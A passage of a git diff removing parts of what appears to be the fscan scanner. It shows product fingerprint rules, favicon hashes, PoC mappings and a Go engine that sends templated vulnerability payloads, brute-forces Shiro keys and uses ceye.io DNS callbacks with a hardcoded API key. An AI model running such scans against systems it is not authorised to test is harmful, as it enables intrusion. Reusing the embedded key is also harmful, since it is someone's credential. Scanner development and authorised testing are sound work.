- {"帆软报表", "headers", "(数据决策系统)"},
- {"华夏ERP", "headers", "(华夏ERP)"},
- {"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
- {"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
- {"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
- {"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
- {"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
- {"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
- {"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
- {"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
- {"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
- {"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
- {"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
- {"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
- {"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
- {"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
- {"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
- {"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
- {"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
- {"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
- {"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
- {"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
- {"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
- {"APACHE-kylin", "code", "(url=kylin)"},
- {"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
- {"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
- {"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
- {"FIT2CLOUD-JumpServer-堡垒机", "code", "(JumpServer)"},
- {"Alibaba Nacos", "code", "(Nacos)"},
- {"Nagios", "headers", "(nagios admin)"},
- {"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
- {"h5ai", "code", "(powered by h5ai)"},
- {"jeesite", "cookie", "(jeesite.session.id)"},
- {"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
- {"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
- {"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
- {"天融信网络审计系统", "code", "(onclick=dlg_download())"},
- {"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
- {"URP教务系统", "code", "(北京清元优软科技有限公司)"},
- {"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
- {"正方OA", "code", "(zfoausername)"},
- {"希尔OA", "code", "(/heeroa/login.do)"},
- {"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
- {"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
- {"海天OA", "code", "(HTVOS.js)"},
- {"信达OA", "code", "(http://www.xdoa.cn)"},
- {"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
- {"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
- {"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
- {"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
- {"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
- {"网神防火墙", "code", "(css/lsec/login.css)"},
- {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
- {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
- {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
- {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
- {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
- {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
- {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
- {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"},
- {"weblogic", "headers", "(WebLogic)"},
- {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
- {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
- {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
- {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
- {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
- {"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
- {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
- {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
- {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
- {"用友IUFO", "code", "(iufo/web/css/menu.css)"},
- {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
- {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
- {"CMS", "code", "(Powered by .*CMS)"},
- {"目录遍历", "code", "(Directory listing for /)"},
- {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
- {"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
- {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
- {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
- {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"},
- {"RabbitMQ", "code", "(RabbitMQ Management)"},
- {"dubbo", "headers", "(Basic realm=\"dubbo\")"},
- {"Spring env", "code", "(logback)"},
- {"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
- {"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
-}
-
-var Md5Datas = []Md5Data{
- {"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
- {"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
- {"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
- {"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
- {"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
- {"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
- {"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
- {"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
- {"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
- {"致远OA", "57f307ad3764553df84e7b14b7a85432"},
- {"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
- {"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
- {"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
- {"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
- {"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
- {"通达OA", "ed0044587917c76d08573577c8b72883"},
- {"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
- {"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
- {"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
- {"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
- {"GitLab", "85c754581e1d4b628be5b7712c042224"},
- {"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
- {"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
- {"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
- {"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
- {"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
- {"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
- {"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
- {"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
- {"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
-}
-
-var PocDatas = []PocData{
- {"致远OA", "seeyon"},
- {"泛微OA", "weaver"},
- {"通达OA", "tongda"},
- {"蓝凌OA", "landray"},
- {"ThinkPHP", "thinkphp"},
- {"Nexus", "nexus"},
- {"齐治堡垒机", "qizhi"},
- {"weaver-ebridge", "weaver-ebridge"},
- {"weblogic", "weblogic"},
- {"zabbix", "zabbix"},
- {"VMware vSphere", "vmware"},
- {"Jboss", "jboss"},
- {"用友", "yongyou"},
- {"用友IUFO", "yongyou"},
- {"coremail", "coremail"},
- {"金山", "kingsoft"},
-}
diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go
deleted file mode 100644
index 2a1a22e..0000000
--- a/WebScan/lib/Check.go
+++ /dev/null
@@ -1,905 +0,0 @@
-package lib
-
-import (
- "crypto/md5"
- "fmt"
- "github.com/google/cel-go/cel"
- "github.com/shadow1ng/fscan/common"
- "github.com/shadow1ng/fscan/common/output"
- "github.com/shadow1ng/fscan/webscan/info"
- "math/rand"
- "net/http"
- "net/url"
- "regexp"
- "strings"
- "sync"
- "time"
-)
-
-// API配置常量
-const (
- ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
- ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
-)
-
-// Task 定义单个POC检测任务的结构体
-type Task struct {
- Req *http.Request // HTTP请求对象
- Poc *Poc // POC检测脚本
-}
-
-// VulnResult 漏洞结果结构体
-type VulnResult struct {
- Poc *Poc // POC脚本
- VulName string // 漏洞名称
- Target string // 目标URL
- Details map[string]interface{} // 详细信息
-}
-
-// CheckMultiPoc 并发执行多个POC检测
-// 参数说明:
-// - req: HTTP请求对象
-// - pocs: POC检测脚本列表
-// - workers: 并发工作协程数量
-func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
- // 确保至少有一个工作协程
- if workers <= 0 {
- workers = 1
- }
-
- // 创建任务通道,缓冲区大小为POC列表长度
- tasks := make(chan Task, len(pocs))
- var wg sync.WaitGroup
-
- // 启动指定数量的工作协程池
- for i := 0; i < workers; i++ {
- wg.Add(1)
- go func() {
- defer wg.Done()
- // 从任务通道循环获取任务
- for task := range tasks {
- // 执行POC检测,返回是否存在漏洞、错误信息和漏洞名称
- isVulnerable, err, vulName := executePoc(task.Req, task.Poc)
-
- // 处理执行过程中的错误
- if err != nil {
- common.LogError(fmt.Sprintf("执行POC错误 %s: %v", task.Poc.Name, err))
- continue
- }
-
- // 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果
- // 因为clusterpoc已在内部处理了漏洞输出
- if isVulnerable && vulName != "" {
- // 构造漏洞详细信息
- details := make(map[string]interface{})
- details["vulnerability_type"] = task.Poc.Name
- details["vulnerability_name"] = vulName
-
- // 添加作者信息(如果有)
- if task.Poc.Detail.Author != "" {
- details["author"] = task.Poc.Detail.Author
- }
-
- // 添加参考链接(如果有)
- if len(task.Poc.Detail.Links) != 0 {
- details["references"] = task.Poc.Detail.Links
- }
-
- // 添加漏洞描述(如果有)
- if task.Poc.Detail.Description != "" {
- details["description"] = task.Poc.Detail.Description
- }
-
- // 创建并保存扫描结果
- result := &output.ScanResult{
- Time: time.Now(),
- Type: output.TypeVuln,
- Target: task.Req.URL.String(),
- Status: "vulnerable",
- Details: details,
- }
- common.SaveResult(result)
-
- // 构造控制台输出的日志信息
- logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
- task.Req.URL,
- task.Poc.Name,
- vulName)
-
- // 添加作者信息到日志
- if task.Poc.Detail.Author != "" {
- logMsg += "\n\t作者:" + task.Poc.Detail.Author
- }
-
- // 添加参考链接到日志
- if len(task.Poc.Detail.Links) != 0 {
- logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n")
- }
-
- // 添加描述信息到日志
- if task.Poc.Detail.Description != "" {
- logMsg += "\n\t描述:" + task.Poc.Detail.Description
- }
-
- // 输出成功日志
- common.LogSuccess(logMsg)
- }
- }
- }()
- }
-
- // 分发所有POC任务到通道
- for _, poc := range pocs {
- tasks <- Task{
- Req: req,
- Poc: poc,
- }
- }
-
- // 关闭任务通道
- close(tasks)
-
- // 等待所有POC检测任务完成
- wg.Wait()
-}
-
-// createVulnDetails 创建漏洞详情信息
-func createVulnDetails(poc *Poc, vulName string) map[string]interface{} {
- details := make(map[string]interface{})
- details["vulnerability_type"] = poc.Name
- details["vulnerability_name"] = vulName
-
- // 添加作者信息(如果有)
- if poc.Detail.Author != "" {
- details["author"] = poc.Detail.Author
- }
-
- // 添加参考链接(如果有)
- if len(poc.Detail.Links) != 0 {
- details["references"] = poc.Detail.Links
- }
-
- // 添加漏洞描述(如果有)
- if poc.Detail.Description != "" {
- details["description"] = poc.Detail.Description
- }
-
- return details
-}
-
-// buildLogMessage 构建漏洞日志消息
-func buildLogMessage(result *VulnResult) string {
- logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
- result.Target,
- result.Poc.Name,
- result.VulName)
-
- // 添加作者信息到日志
- if result.Poc.Detail.Author != "" {
- logMsg += "\n\t作者:" + result.Poc.Detail.Author
- }
-
- // 添加参考链接到日志
- if len(result.Poc.Detail.Links) != 0 {
- logMsg += "\n\t参考链接:" + strings.Join(result.Poc.Detail.Links, "\n")
- }
-
- // 添加描述信息到日志
- if result.Poc.Detail.Description != "" {
- logMsg += "\n\t描述:" + result.Poc.Detail.Description
- }
-
- return logMsg
-}
-
-// executePoc 执行单个POC检测
-func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
- // 初始化环境配置
- config := NewEnvOption()
- config.UpdateCompileOptions(p.Set)
-
- // 处理额外的设置项
- if len(p.Sets) > 0 {
- var setMap StrMap
- for _, item := range p.Sets {
- value := ""
- if len(item.Value) > 0 {
- value = item.Value[0]
- }
- setMap = append(setMap, StrItem{item.Key, value})
- }
- config.UpdateCompileOptions(setMap)
- }
-
- // 创建执行环境
- env, err := NewEnv(&config)
- if err != nil {
- return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
- }
-
- // 解析请求
- req, err := ParseRequest(oReq)
- if err != nil {
- return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
- }
-
- // 初始化变量映射
- variableMap := make(map[string]interface{})
- defer func() { variableMap = nil }()
- variableMap["request"] = req
-
- // 处理设置项
- for _, item := range p.Set {
- key, expression := item.Key, item.Value
- if expression == "newReverse()" {
- if !common.DnsLog {
- return false, nil, ""
- }
- variableMap[key] = newReverse()
- continue
- }
- if err, _ = evalset(env, variableMap, key, expression); err != nil {
- common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
- }
- }
-
- // 处理爆破模式
- if len(p.Sets) > 0 {
- success, err := clusterpoc(oReq, p, variableMap, req, env)
- return success, err, ""
- }
-
- return executeRules(oReq, p, variableMap, req, env)
-}
-
-// executeRules 执行POC规则并返回结果
-func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, error, string) {
- // 处理单个规则的函数
- executeRule := func(rule Rules) (bool, error) {
- Headers := cloneMap(rule.Headers)
-
- // 替换变量
- for varName, varValue := range variableMap {
- if _, isMap := varValue.(map[string]string); isMap {
- continue
- }
- strValue := fmt.Sprintf("%v", varValue)
-
- // 替换Header中的变量
- for headerKey, headerValue := range Headers {
- if strings.Contains(headerValue, "{{"+varName+"}}") {
- Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
- }
- }
-
- // 替换Path和Body中的变量
- rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
- rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
- }
-
- // 构建请求路径
- if oReq.URL.Path != "" && oReq.URL.Path != "/" {
- req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
- } else {
- req.Url.Path = rule.Path
- }
- req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-
- // 创建新请求
- newRequest, err := http.NewRequest(
- rule.Method,
- fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
- strings.NewReader(rule.Body),
- )
- if err != nil {
- return false, fmt.Errorf("请求创建错误: %v", err)
- }
-
- // 设置请求头
- newRequest.Header = oReq.Header.Clone()
- for k, v := range Headers {
- newRequest.Header.Set(k, v)
- }
- Headers = nil
-
- // 发送请求
- resp, err := DoRequest(newRequest, rule.FollowRedirects)
- newRequest = nil
- if err != nil {
- return false, err
- }
-
- variableMap["response"] = resp
-
- // 执行搜索规则
- if rule.Search != "" {
- result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
- if len(result) == 0 {
- return false, nil
- }
- for k, v := range result {
- variableMap[k] = v
- }
- }
-
- // 执行表达式
- out, err := Evaluate(env, rule.Expression, variableMap)
- if err != nil {
- return false, err
- }
-
- if flag, ok := out.Value().(bool); ok {
- return flag, nil
- }
- return false, nil
- }
-
- // 处理规则组的函数
- executeRuleSet := func(rules []Rules) bool {
- for _, rule := range rules {
- flag, err := executeRule(rule)
- if err != nil || !flag {
- return false
- }
- }
- return true
- }
-
- // 执行检测规则
- success := false
- if len(p.Rules) > 0 {
- success = executeRuleSet(p.Rules)
- return success, nil, ""
- } else {
- for _, item := range p.Groups {
- name, rules := item.Key, item.Value
- if success = executeRuleSet(rules); success {
- return true, nil, name
- }
- }
- }
-
- return false, nil, ""
-}
-
-// doSearch 在响应体中执行正则匹配并提取命名捕获组
-func doSearch(re string, body string) map[string]string {
- // 编译正则表达式
- r, err := regexp.Compile(re)
- // 正则表达式编译
- if err != nil {
- common.LogError(fmt.Sprintf("正则编译错误: %v", err))
- return nil
- }
-
- // 执行正则匹配
- result := r.FindStringSubmatch(body)
- names := r.SubexpNames()
-
- // 处理匹配结果
- if len(result) > 1 && len(names) > 1 {
- paramsMap := make(map[string]string)
- for i, name := range names {
- if i > 0 && i <= len(result) {
- // 特殊处理Cookie头
- if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
- paramsMap[name] = optimizeCookies(result[i])
- } else {
- paramsMap[name] = result[i]
- }
- }
- }
- return paramsMap
- }
- return nil
-}
-
-// optimizeCookies 优化Cookie字符串,移除不必要的属性
-func optimizeCookies(rawCookie string) string {
- var output strings.Builder
-
- // 解析Cookie键值对
- pairs := strings.Split(rawCookie, "; ")
- for _, pair := range pairs {
- nameVal := strings.SplitN(pair, "=", 2)
- if len(nameVal) < 2 {
- continue
- }
-
- // 跳过Cookie属性
- switch strings.ToLower(nameVal[0]) {
- case "expires", "max-age", "path", "domain",
- "version", "comment", "secure", "samesite", "httponly":
- continue
- }
-
- // 构建Cookie键值对
- if output.Len() > 0 {
- output.WriteString("; ")
- }
- output.WriteString(nameVal[0])
- output.WriteString("=")
- output.WriteString(strings.Join(nameVal[1:], "="))
- }
-
- return output.String()
-}
-
-// newReverse 创建新的反连检测对象
-func newReverse() *Reverse {
- // 检查DNS日志功能是否启用
- if !common.DnsLog {
- return &Reverse{}
- }
-
- // 生成随机子域名
- const (
- letters = "1234567890abcdefghijklmnopqrstuvwxyz"
- subdomainLength = 8
- )
- randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
- subdomain := RandomStr(randSource, letters, subdomainLength)
-
- // 构建URL
- urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
- u, err := url.Parse(urlStr)
- // 解析反连URL
- if err != nil {
- common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
- return &Reverse{}
- }
-
- // 返回反连检测配置
- return &Reverse{
- Url: urlStr,
- Domain: u.Hostname(),
- Ip: u.Host,
- IsDomainNameServer: false,
- }
-}
-
-// clusterpoc 执行集群POC检测,支持批量参数组合测试
-func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
- var strMap StrMap // 存储成功的参数组合
- var shiroKeyCount int // shiro key测试计数
-
- // 记录漏洞的辅助函数,统一保存结果和输出日志
- recordVulnerability := func(targetURL string, params StrMap, skipSave bool) {
- // 构造详细信息
- details := make(map[string]interface{})
- details["vulnerability_type"] = p.Name
- details["vulnerability_name"] = p.Name // 使用POC名称作为漏洞名称
-
- // 添加作者信息(如果有)
- if p.Detail.Author != "" {
- details["author"] = p.Detail.Author
- }
-
- // 添加参考链接(如果有)
- if len(p.Detail.Links) != 0 {
- details["references"] = p.Detail.Links
- }
-
- // 添加漏洞描述(如果有)
- if p.Detail.Description != "" {
- details["description"] = p.Detail.Description
- }
-
- // 添加参数信息(如果有)
- if len(params) > 0 {
- paramMap := make(map[string]string)
- for _, item := range params {
- paramMap[item.Key] = item.Value
- }
- details["parameters"] = paramMap
- }
-
- // 保存漏洞结果(除非明确指示跳过)
- if !skipSave {
- result := &output.ScanResult{
- Time: time.Now(),
- Type: output.TypeVuln,
- Target: targetURL,
- Status: "vulnerable",
- Details: details,
- }
- common.SaveResult(result)
- }
-
- // 生成日志消息
- var logMsg string
- if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
- logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)
- } else {
- logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, params)
- }
-
- // 输出成功日志
- common.LogSuccess(logMsg)
- }
-
- // 遍历POC规则
- for ruleIndex, rule := range p.Rules {
- // 检查是否需要进行参数Fuzz测试
- if !isFuzz(rule, p.Sets) {
- // 不需要Fuzz,直接发送请求
- success, err = clustersend(oReq, variableMap, req, env, rule)
- if err != nil {
- return false, err
- }
- if !success {
- return false, err
- }
- continue
- }
-
- // 生成参数组合
- setsMap := Combo(p.Sets)
- ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
-
- // 遍历参数组合
- paramLoop:
- for comboIndex, paramCombo := range setsMap {
- // Shiro Key测试特殊处理:默认只测试10个key
- if p.Name == "poc-yaml-shiro-key" && !common.PocFull && comboIndex >= 10 {
- if paramCombo[1] == "cbc" {
- continue
- } else {
- if shiroKeyCount == 0 {
- shiroKeyCount = comboIndex
- }
- if comboIndex-shiroKeyCount >= 10 {
- break
- }
- }
- }
-
- // 克隆规则以避免相互影响
- currentRule := cloneRules(rule)
- var hasReplacement bool
- var currentParams StrMap
- payloads := make(map[string]interface{})
- var payloadExpr string
-
- // 计算所有参数的实际值
- for i, set := range p.Sets {
- key, expr := set.Key, paramCombo[i]
- if key == "payload" {
- payloadExpr = expr
- }
- _, output := evalset1(env, variableMap, key, expr)
- payloads[key] = output
- }
-
- // 替换规则中的参数
- for _, set := range p.Sets {
- paramReplaced := false
- key := set.Key
- value := fmt.Sprintf("%v", payloads[key])
-
- // 替换Header中的参数
- for headerKey, headerVal := range currentRule.Headers {
- if strings.Contains(headerVal, "{{"+key+"}}") {
- currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
- paramReplaced = true
- }
- }
-
- // 替换Path中的参数
- if strings.Contains(currentRule.Path, "{{"+key+"}}") {
- currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
- paramReplaced = true
- }
-
- // 替换Body中的参数
- if strings.Contains(currentRule.Body, "{{"+key+"}}") {
- currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
- paramReplaced = true
- }
-
- // 记录替换的参数
- if paramReplaced {
- hasReplacement = true
- if key == "payload" {
- // 处理payload的特殊情况
- hasVarInPayload := false
- for varKey, varVal := range variableMap {
- if strings.Contains(payloadExpr, varKey) {
- hasVarInPayload = true
- currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
- }
- }
- if hasVarInPayload {
- continue
- }
- }
- currentParams = append(currentParams, StrItem{key, value})
- }
- }
-
- // 如果没有参数被替换,跳过当前组合
- if !hasReplacement {
- continue
- }
-
- // 规则去重
- ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
- ruleMD5 := fmt.Sprintf("%x", ruleDigest)
- if _, exists := ruleHash[ruleMD5]; exists {
- continue
- }
- ruleHash[ruleMD5] = struct{}{}
-
- // 发送请求并处理结果
- success, err = clustersend(oReq, variableMap, req, env, currentRule)
- if err != nil {
- return false, err
- }
-
- if success {
- targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
-
- // 处理成功情况
- if currentRule.Continue {
- // 使用Continue标志时,记录但继续测试其他参数
- recordVulnerability(targetURL, currentParams, false)
- continue
- }
-
- // 记录成功的参数组合
- strMap = append(strMap, currentParams...)
- if ruleIndex == len(p.Rules)-1 {
- // 最终规则成功,记录完整的结果并返回
- recordVulnerability(targetURL, strMap, false)
- return false, nil
- }
- break paramLoop
- }
- }
-
- if !success {
- break
- }
- if rule.Continue {
- return false, nil
- }
- }
-
- return success, nil
-}
-
-// isFuzz 检查规则是否包含需要Fuzz测试的参数
-func isFuzz(rule Rules, Sets ListMap) bool {
- // 遍历所有参数
- for _, param := range Sets {
- key := param.Key
- paramPattern := "{{" + key + "}}"
-
- // 检查Headers中是否包含参数
- for _, headerValue := range rule.Headers {
- if strings.Contains(headerValue, paramPattern) {
- return true
- }
- }
-
- // 检查Path中是否包含参数
- if strings.Contains(rule.Path, paramPattern) {
- return true
- }
-
- // 检查Body中是否包含参数
- if strings.Contains(rule.Body, paramPattern) {
- return true
- }
- }
- return false
-}
-
-// Combo 生成参数组合
-func Combo(input ListMap) [][]string {
- if len(input) == 0 {
- return nil
- }
-
- // 处理只有一个参数的情况
- if len(input) == 1 {
- output := make([][]string, 0, len(input[0].Value))
- for _, value := range input[0].Value {
- output = append(output, []string{value})
- }
- return output
- }
-
- // 递归处理多个参数的情况
- subCombos := Combo(input[1:])
- return MakeData(subCombos, input[0].Value)
-}
-
-// MakeData 将新的参数值与已有的组合进行组合
-func MakeData(base [][]string, nextData []string) [][]string {
- // 预分配足够的空间
- output := make([][]string, 0, len(base)*len(nextData))
-
- // 遍历已有组合和新参数值
- for _, existingCombo := range base {
- for _, newValue := range nextData {
- // 创建新组合
- newCombo := make([]string, 0, len(existingCombo)+1)
- newCombo = append(newCombo, newValue)
- newCombo = append(newCombo, existingCombo...)
- output = append(output, newCombo)
- }
- }
-
- return output
-}
-
-// clustersend 执行单个规则的HTTP请求和响应检测
-func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
- // 替换请求中的变量
- for varName, varValue := range variableMap {
- // 跳过map类型的变量
- if _, isMap := varValue.(map[string]string); isMap {
- continue
- }
-
- strValue := fmt.Sprintf("%v", varValue)
- varPattern := "{{" + varName + "}}"
-
- // 替换Headers中的变量
- for headerKey, headerValue := range rule.Headers {
- if strings.Contains(headerValue, varPattern) {
- rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
- }
- }
-
- // 替换Path和Body中的变量
- rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
- rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
- }
-
- // 构建完整请求路径
- if oReq.URL.Path != "" && oReq.URL.Path != "/" {
- req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
- } else {
- req.Url.Path = rule.Path
- }
-
- // URL编码处理
- req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-
- // 创建新的HTTP请求
- reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
- newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
- if err != nil {
- return false, fmt.Errorf("HTTP请求错误: %v", err)
- }
- defer func() { newRequest = nil }()
-
- // 设置请求头
- newRequest.Header = oReq.Header.Clone()
- for key, value := range rule.Headers {
- newRequest.Header.Set(key, value)
- }
-
- // 发送请求
- resp, err := DoRequest(newRequest, rule.FollowRedirects)
- if err != nil {
- return false, fmt.Errorf("请求发送错误: %v", err)
- }
-
- // 更新响应到变量映射
- variableMap["response"] = resp
-
